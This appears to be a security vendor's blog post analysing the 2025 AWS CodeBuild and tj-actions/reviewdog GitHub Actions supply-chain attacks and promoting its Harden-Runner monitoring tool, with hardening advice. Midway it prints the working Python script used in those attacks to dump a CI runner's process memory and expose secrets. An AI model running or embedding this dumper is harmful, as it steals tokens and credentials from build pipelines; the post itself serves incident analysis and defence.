The July 2025 AWS CodeBuild security incident highlights anew software supply chain attack vector - one that targets CI/CD build processes by dumping secrets from memory. On July 25, 2025, AWS disclosed a critical issue (Bulletin ID: AWS-2025-016) in its CodeBuild service. Security researchers demonstrated that a malicious contributor could submit a pull request (PR) which, when automatically built by CodeBuild, would exploit the build environment to extract the source code repository's access token from memory.If such a token had write permissions, the attacker could then make unauthorized code modifications to that repository, effectively escalating their privileges.

This vulnerability (assigned CVE-2025-8217)affected CodeBuild in all regions and was not merely theoretical - AWS's investigation found that a threat actor used this technique to steal tokens for the AWS Toolkit for Visual Studio Code and AWS SDK for .NET source repositories.In response, AWS issued updates and guidance, including adding protections against memory dumps in CodeBuild and strongly advising users to disable automatic builds for untrusted PRs.

Understanding the Attack Technique

The attack capitalized on memory dumping in CI/CD environments. In simple terms, a memory dump is when an attacker reads the contents of a process's RAM to find sensitive data. Continuous integration/continuous deployment (CI/CD) pipelines often have secrets in memory - for example, tokens or keys used to pull code, upload artifacts, or trigger downstream jobs. In the CodeBuild incident, the malicious PR's build steps included code that scanned the build container's memory to locate the repository access token, and then exfiltrated it (for instance, by printing it out in some encoded form). This is a clever abuse of the CI system: the build process had the token in memory (to perform authorized operations on the repo),and the attacker's code was able to dump those secrets out.

 Notably, this memory-dumping technique is not new and has been observed in other CI platforms. Attackers have learned that by injecting malicious code into automated build workflows, they can directly target secrets stored in memory during the run. Those secrets might include source control access tokens, cloud credentials, or API keys. Once obtained, the attacker can use them to move laterally - for example, to push malicious code into repositories (as in the AWS case) or access other infrastructure.

Real-World Impact: GitHub Actions Memory-Dump Attacks

The AWS incident mirrors recent supply-chain attacks onGitHub Actions workflows, showing that memory dumping in CI is a broader threat. For instance, in March 2025, the popular GitHub Action tj-actions/changed-files (used in over 23,000 repositories) was compromised and outfitted with malicious code designed to dump CI runner memory and expose secrets.The action's exploit payload searched the GitHub Actions runner's process memory for secret tokens and printed them to the workflow logs in an obfuscated form (double-base64-encoded) . Because many of the affected repositories were public, the sensitive data (like AWS keys, GitHub personal access tokens, npm tokens, etc.) ended up visible to anyone inspecting the logs. This attack ,tracked as CVE-2025-30066, impacted thousands of CI pipelines and underscored how a single compromised component can leak organization-wide secrets.

This code was used in the compromised versions of the tj-actions/changed-files and reviewdog actions to dump credentials from memory.

#!/usr/bin/env python3
...

def get_pid():
    # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
            if b'Runner.Worker' in cmdline_f.read():
                return pid

    raise Exception('Can not get pid of Runner.Worker')

if __name__ == "__main__":
    pid = get_pid()
    print(pid)

    map_path = f"/proc/{pid}/maps"
    mem_path = f"/proc/{pid}/mem"

    with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
        for line in map_f.readlines():  # for each mapped region
            m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
            if m.group(3) == 'r':  # readable region
                start = int(m.group(1), 16)
                end = int(m.group(2), 16)
                # hotfix: OverflowError: Python int too large to convert to C long
                # 18446744073699065856
                if start > sys.maxsize:
                    continue
                mem_f.seek(start)  # seek to region start
            
                try:
                    chunk = mem_f.read(end - start)  # read region contents
                    sys.stdout.buffer.write(chunk)
                except OSError:
                    continue

Around the same time, multiple Actions in the reviewdog GitHub organization were also compromised in a related campaign. The threat actors first tampered with a reviewdog action (e.g. reviewdog/action-setup) to steal secrets, and then leveraged those credentials to compromise the tj-actions code, indicating a chained attack. In both cases, the core technique was the same - inject malicious steps that read secrets from memory and log them (or otherwise exfiltrate them) during the CI run. These real-world examples show that attackers are actively targeting CI/CD systems as an entry point. By exploiting trust in automated builds, they turned CI tools into instruments of attack. The fallout can be severe: stolen CI secrets may grant access to source code, production infrastructure, or private packages, enabling broader supply-chain breaches.

How StepSecurity Harden-Runner Detects Memory-Based Attacks

Threats like memory-dump attacks are difficult to catch with traditional security tools, because they occur within ephemeral CI/CD jobs.This is where StepSecurity's Harden-Runner comes into play. Harden-Runner is a security agent for CI runners (it works like an "EDR" for your GitHub Actions workflows), monitoring the runtime behavior of jobs for suspicious activity.One of its standout capabilities is detecting unauthorized memory read attempts in the CI environment. In practice, Harden-Runner watches for processes trying to access the runner's memory, behavior that normal builds should not be doing.If a build step tries to dump the runner's memory to search for secrets,Harden-Runner will flag it immediately as a threat.

In fact, the StepSecurity team simulated the exact attack used in the tj-actions/changed-files incident to testHarden-Runner. The malicious Action was run in a controlled environment withHarden-Runner enabled. The result: Harden-Runner instantly identified the memory dumping activity and raised real-time alert. The malicious script's attempt to scan the runner's memory was clearly visible in Harden-Runner's security insights dashboard, allowing defenders to respond before any sensitive data was exfiltrated. This proactive detection capability is invaluable -rather than discovering a breach hours or days later (or only after credentials have been abused elsewhere), teams get notified during the workflow run that an attack is in progress. By deploying such runtime protection in CI/CD pipelines, organizations can catch attackers in the act of memory dumping or other malicious behaviors and stop them on the spot.

This interactive demo shows how StepSecurity Harden Runner detects attempts to dump credentials from memory in GitHub Actions runners.

BeyondMemory Dumps: Comprehensive CI/CD Security with Harden-Runner

Memory-dump detection is just one of the many defenses provided by Harden-Runner. Modern CI/CD attacks can take various forms, so comprehensive monitoring is crucial. Harden-Runner offers a broad suite of detection capabilities to safeguard build pipelines:

Anomalous Outbound Network Calls

Harden-Runner monitors outgoing network traffic from build jobs and learns the normal baseline for each workflow. If a job suddenly tries to call an unusual externalURL or send data to an unexpected host, Harden-Runner will alert on this anomaly.This helps catch exfiltration attempts - for example, if malware in the build tries to send your secret data to an attacker's server, or even just reaches out to a new domain (as happened when the tj-actions/changed-files compromised action contacted a gist URL), you'll know immediately. You can even configureHarden-Runner to block disallowed connections, effectively preventing data from leaving your CI environment.

Suspicious GitHub API Usage

The tool also keeps an eye on calls to GitHub's APIs from the runner. Many workflows legitimately call GitHub APIs (for example, to create issues or update commit statuses), but an attacker with a stolen token might abuse theAPI in abnormal ways. Harden-Runner tracks these calls and can highlight unusual patterns. This not only can reveal misuse of the GitHub token, but it also helps developers understand if their workflows are requesting more GitHub permissions than necessary.

Use of Privileged Containers

SomeCI jobs run inside containers can be launched in "privileged" mode(granting them elevated access to the host system). In most CI/CD scenarios, using a privileged container is unnecessary and risky. Harden-Runner detects when a workflow or action attempts to launch a privileged container or escalate privileges in the build environment. An alert on this can indicate a potential attack (e.g. malware trying to escape the CI sandbox) or simply a misconfiguration that should be corrected. By catching such cases,Harden-Runner helps maintain the principle of least privilege in your pipeline.

Reverse Shell Detection

A common goal for advanced attackers is to establish a reverse shell - effectively opening a backdoor from the CI runner out to a remote server, allowing the attacker interactive control over the build machine. Harden-Runner monitors process behavior and will detect patterns consistent with reverse shells. If an action or script tries to create a reverse shell, Harden-Runner can trigger an alert. This prevents attackers from using your CI worker as a foothold into your network or from pivoting to other systems. In general, any unknown process execution or odd system call behavior in the runner is under scrutiny - providing a layer of defense beyond just network monitoring.

By covering network, filesystem, memory, and process-level signals, Harden-Runner delivers a defense-in-depth for CI/CD environments. It acts as a watchdog that can detect a wide range of suspicious activities - from quietly reading secrets in memory, to calling home to unfamiliar servers, to spawning unauthorized processes - and either alert or block these threats in real time. This level of visibility greatly reduces the window of opportunity for attackers and gives security teams a fighting chance to respond before damage is done.

Recommended Best Practices to Mitigate CI/CD Pipeline Risks

In addition to leveraging advanced security tools, organizations should follow best practices to harden their CI/CD pipelines against attacks like the CodeBuild incident:

Deploy Hardened Runners or Monitoring Agents

Integrate security monitoring into your CI/CD runners.Purpose-built tools (such as StepSecurity's Harden-Runner) or similar solutions add real-time visibility and can automatically detect/block malicious behavior on your build agents. The goal is to treat CI/CD infrastructure with the same level of security scrutiny as production servers - don't let it remain a blindspot.

Minimize Credentials and Permissions

Follow the principle of least privilege for any tokens, keys, or credentials used in CI. Audit what permissions your CI service's tokens have. Wherever possible, use read-only or scoped tokens for pulling code and running tests. Avoid providing credentials with write access to code repositories or sensitive systems unless absolutely required. In fact, AWS's guidance after the CodeBuild incident was to revoke any overly permissive tokens (e.g. those that allow commits) and rotate them. By limiting what a CI token can do, you significantly reduce the impact if it does get exposed. Also consider using short-lived credentials that expire quickly (for instance,GitHub's default GITHUB_TOKEN has limited scope and auto-expires, which helped in limiting the blast radius in the GitHub Actions attacks).

Restrict Untrusted Build Triggers

Be cautious about automatically running builds on code from external or untrustedc ontributors. Many CI services allow maintainers to require manual approval for first-time or outside contributions - use these settings to prevent unvetted code from executing in your pipeline without oversight. AWS explicitly recommended disabling automatic PR builds from untrusted contributors in light of the CodeBuild flaw. In practice, this might mean turning off auto-build for pull requests from forked repositories, or using a separate isolated environment for such builds. If you do enable builds for external PRs (for example, in open-source projects where you want to test contributions), ensure that those builds run with reduced privileges: no access to deployment credentials, limited secrets, and perhaps on hardened infrastructure. Alwaysreview the code changes before running workflows that use sensitive credentials.

Summary

By actively learning from incidents like AWS CodeBuild and the GitHub Actions supply-chain attacks, teams can shore up their defenses.CI/CD systems are the engine of modern software delivery, and they must be protected with the same rigor as any production environment. Taking steps such as tightening access controls, avoiding risky default behaviors, and deploying runtime security for your pipelines will significantly lower the risk of a successful attack. In the wake of these lessons - and with tools likeHarden-Runner providing an extra line of defense - organizations can robustly protect their software supply chain against even the most sophisticated CI/CD threats.

‍